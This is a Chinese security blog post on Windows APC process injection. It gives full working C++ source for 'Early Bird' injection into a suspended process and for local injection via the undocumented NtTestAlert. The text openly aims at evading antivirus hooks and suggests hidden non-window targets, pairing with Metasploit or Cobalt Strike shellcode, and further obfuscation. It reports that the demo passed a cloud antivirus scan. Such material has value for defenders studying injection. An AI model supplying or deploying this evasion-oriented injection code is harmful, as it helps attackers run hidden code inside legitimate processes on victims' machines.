|
进程注入之APC注入进阶原创 Gality [url=]WgpSec狼组安全团队[/url] 3天前
收录于话题
#进程注入6
#安全研究25
点击蓝字
关注我们
声明
本文作者:Gality
本文字数:2800
阅读时长:30~50分钟
附件/链接:点击查看原文下载
本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。
狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
本篇文章为进程注入系列的第七篇文章,同样是在process-inject项目的基础上进行进一步的扩展延伸,进而掌握进程注入的各种方式,本系列预计至少会有10篇文章,涉及7种进程注入方式及一些发散扩展,原项目地址:https://github.com/suvllian/process-inject
所有项目代码均已同步到https://github.com/Gality369/Process-Injection,欢迎师傅们提Issue~
团队正在招收同样热爱研究的同学~ 简历投至 admin@wgpsec.org
前言
本来说这篇讲内核态的APC注入,不过仔细研究了下,win10上自己写驱动好像有诸多限制,再加上对内核的理解不够深入,所以后延下,等再研究研究再发文章出来Orz。
在本篇中,我们还是在用户态下,提出两种APC的利用方式,用于对抗杀软,达到进程注入的目的,分别是创建挂起进程APC注入和利用NtTestAlert在本地进程注入。话不多说,直接开干
一、
创建挂起进程APC注入-Early Bird技术
我们之前说用户态下的APC请求想要执行,必须等待线程进入"Alertable"状态时,APC请求才有可能得到执行,如果一个线程不会进入"Alertable"状态的话,那么APC队列中的请求永远就无法执行,而只有当线程调用特定函数(SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx或WaitForSingleObjectEx)时,才会进入Alertable状态,这其实就比较苛刻了。而为了应对这种苛刻的条件,提高注入成功的机率同时缩短等待时间,我们不得不遍历进程的所有线程,并对每一个线程进行APC注入,那么相应的,杀软就可能会检测对线程的遍历等操作来查杀
这里我们可以考虑用一种新的方式,即创建一个挂起的线程,注入APC,恢复执行这种方式来实现APC的注入,由于线程初始化时会调用ntdll未导出函数NtTestAlert,该函数会清空并处理APC队列,所以注入的代码通常在进程的主线程的入口点之前运行并接管进程控制权,从而避免了反恶意软件产品的钩子的检测,同时获得一个合法进程的环境信息。
挂钩是在进程开始运行时由合法的反恶意软件产品插入的代码段。它们放在特定的Windows API调用上。挂钩的目的是监视API调用及其参数,以查找恶意调用或调用模式。
所以说,其实这种实现方式的原理非常简单但是强大:
- 以CREATE_SUSPENDED标志新建一个进程
- 申请进程空间并写入dll的路径
- 获取LoadLibrary的地址
- 将LoadLibrary的地址作为APC的回调函数加入APC请求中,将Dll路径当作参数传递过去
实现用于涉及到的所有内容全是之前的章节中提到过的:
直接贴出实现代码了:
- // SuspendAPCInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
- //
- #include <Windows.h>
- #include <stdio.h>
- #include <iostream>
- using namespace std;
- BOOL DoInjection(CHAR* ProcessFullPath, CHAR* wzDllFullPath) {
- //申请内存
- WCHAR* lpAddr = NULL;
- SIZE_T page_size = 4096;
- STARTUPINFOA si = { 0 };
- PROCESS_INFORMATION pi = { 0 };
- CreateProcessA(ProcessFullPath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
- HANDLE victimProcess = pi.hProcess;
- HANDLE threadHandle = pi.hThread;
- lpAddr = (WCHAR*)VirtualAllocEx(victimProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
- if (!lpAddr) {
- VirtualFreeEx(victimProcess, lpAddr, page_size, MEM_DECOMMIT);
- CloseHandle(victimProcess);
- return FALSE;
- }
- //把Dll的路径复制到内存中
- if (!WriteProcessMemory(victimProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)) {
- VirtualFreeEx(victimProcess, lpAddr, page_size, MEM_DECOMMIT);
- CloseHandle(victimProcess);
- return FALSE;
- }
- //获得LoadLibraryA的地址
- auto loadLibraryAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
- //APC注入
- if (!QueueUserAPC((PAPCFUNC)loadLibraryAddress, threadHandle, (ULONG_PTR)lpAddr)) {
- return FALSE;
- }
- ResumeThread(threadHandle);
- return TRUE;
- }
- int main()
- {
- CHAR ProcessFullPath[MAX_PATH] = { 0 };
- printf("Input the Executable File Full Path:");
- cin >> ProcessFullPath;
- CHAR wzDllFullPath[MAX_PATH] = { 0 };
- #ifndef _WIN64
- strcpy_s(wzDllFullPath, "D:\\project\\TestDll\\Release\\TestDll.dll");
- #else // _WIN64
- strcpy_s(wzDllFullPath, "D:\\project\\TestDll\\x64\\Release\\TestDll.dll");
- #endif
- //注入
- if (!DoInjection(ProcessFullPath, wzDllFullPath)) {
- printf("Failed to inject DLL\n");
- return FALSE;
- }
- printf("Success to Inject DLL!\n");
- return 0;
- }
复制代码 可以通过断点看到,以CREATE_SUSPENDED标志创建的进程是挂起的
在恢复运行后,dll直接注入,即APC请求直接执行了
x64下也可以成功注入
这种方式虽然不需要遍历进程的所有线程,不过对于窗口程序来说,创建一个窗口程序会导致弹出程序窗体,容易引起用户注意,所以在选择的时候,可以尽量选择非窗体进程,提高隐蔽性。
二、
利用NtTestAlert在本地进程注入
原理类似于之前在远程线程注入进阶中讲到的,杀软可能会对一些敏感API进行监控,例如CreateRemoteThread、CreateThread这类在创建线程的API,由于经常被恶意软件用来作为注入的方式,所以杀软一般都会监控,同样,一些打开别的线程的句柄的操作,例如:OpenProcess这类的,同样的道理,也有可能受到监控。除了像上面提到的,在钩子之前执行操作外,也可以尝试别的思路。
我们之前介绍的APC的注入方式都是向别的进程的线程插入APC请求,利用别的线程来执行,那么能不能直接利用自己本身执行APC请求呢?想实现这个,我们就需要一种方式来让我们的进程执行APC队列中的请求,上文中也提到了,这就是利用一个微软未文档化的API: NtTestAlert ,这个API在下文中说,我们先来梳理下整体思路:
- 在本地进程(也就是自己)中分配空间并写入Dll地址
- 给当前线程添加APC请求
非常简单,直接进入具体的分析
分析NtTestAlert
这是一个未文档化的API(关于未文档化的API,可以参考这里),其定义为:
NTSYSAPI NTSTATUSNTAPINtTestAlert();可以使用NtTestAlert来清空当前线程的APC队列并处理,如果当前APC队列是空的,调用NtTestAlert没有任何影响。NtTestAlert是一个典型的ntcall的内核例程,他检查APC队列然后调用KiUserApcDispatcher
相对来说非常简单,直接调用就可以了
其他
除了NtTestAlert是新东西外,其他都是之前提过的东西了,不再多说,直接贴代码了。
实现- // LocalAPCInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
- //
- #include <iostream>
- #include <Windows.h>
- #pragma comment(lib, "ntdll")
- using myNtTestAlert = NTSTATUS(NTAPI*)();
- int main()
- {
- CHAR DllFullPath[MAX_PATH] = { 0 };
- #ifndef _WIN64
- strcpy_s(DllFullPath, "D:\\project\\TestDll\\Release\\TestDll.dll");
- #else // _WIN64
- strcpy_s(DllFullPath, "D:\\project\\TestDll\\x64\\Release\\TestDll.dll");
- #endif
- myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
- LPVOID lpAddr = VirtualAlloc(NULL, sizeof(DllFullPath), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- WriteProcessMemory(GetCurrentProcess(), lpAddr, DllFullPath, sizeof(DllFullPath), NULL);
- //获得LoadLibraryA的地址
- auto loadLibraryAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
- //APC注入
- if (!QueueUserAPC((PAPCFUNC)loadLibraryAddress, GetCurrentThread(), (ULONG_PTR)lpAddr)) {
- printf("Inject APC Queue");
- }
- testAlert();
- return 0;
- }
复制代码 x86
x64
不过这里需要注意的是,如果不在程序中加入sleep或类似等待操作的话,当进程执行完成后,程序就自动结束了,加载的Dll也会被自动卸载,所以说这里要么需要结合MSF/CS的shellcode另起进程,或者是需要加入sleep将程序阻塞住,以便完成迁移等各种操作
以上两种技术虽然实现起来很简单,但是并没有被大量的使用,所以相对来说其实还有比较好的免杀效果,仅以Dll加载的demo过了遍云查杀:
后记
可以看到至少这种注入方式是没有被标记的,如果实际使用中报毒,那么就需要考虑对shellcode进行免杀处理或者采用分离式加载的方式进行了(想类似OpenProcess+VirtualAlloc+CreateRemoteThread这种调用组合,不论是有没有恶意dll都会报毒,某些流氓厂商= =)
|
|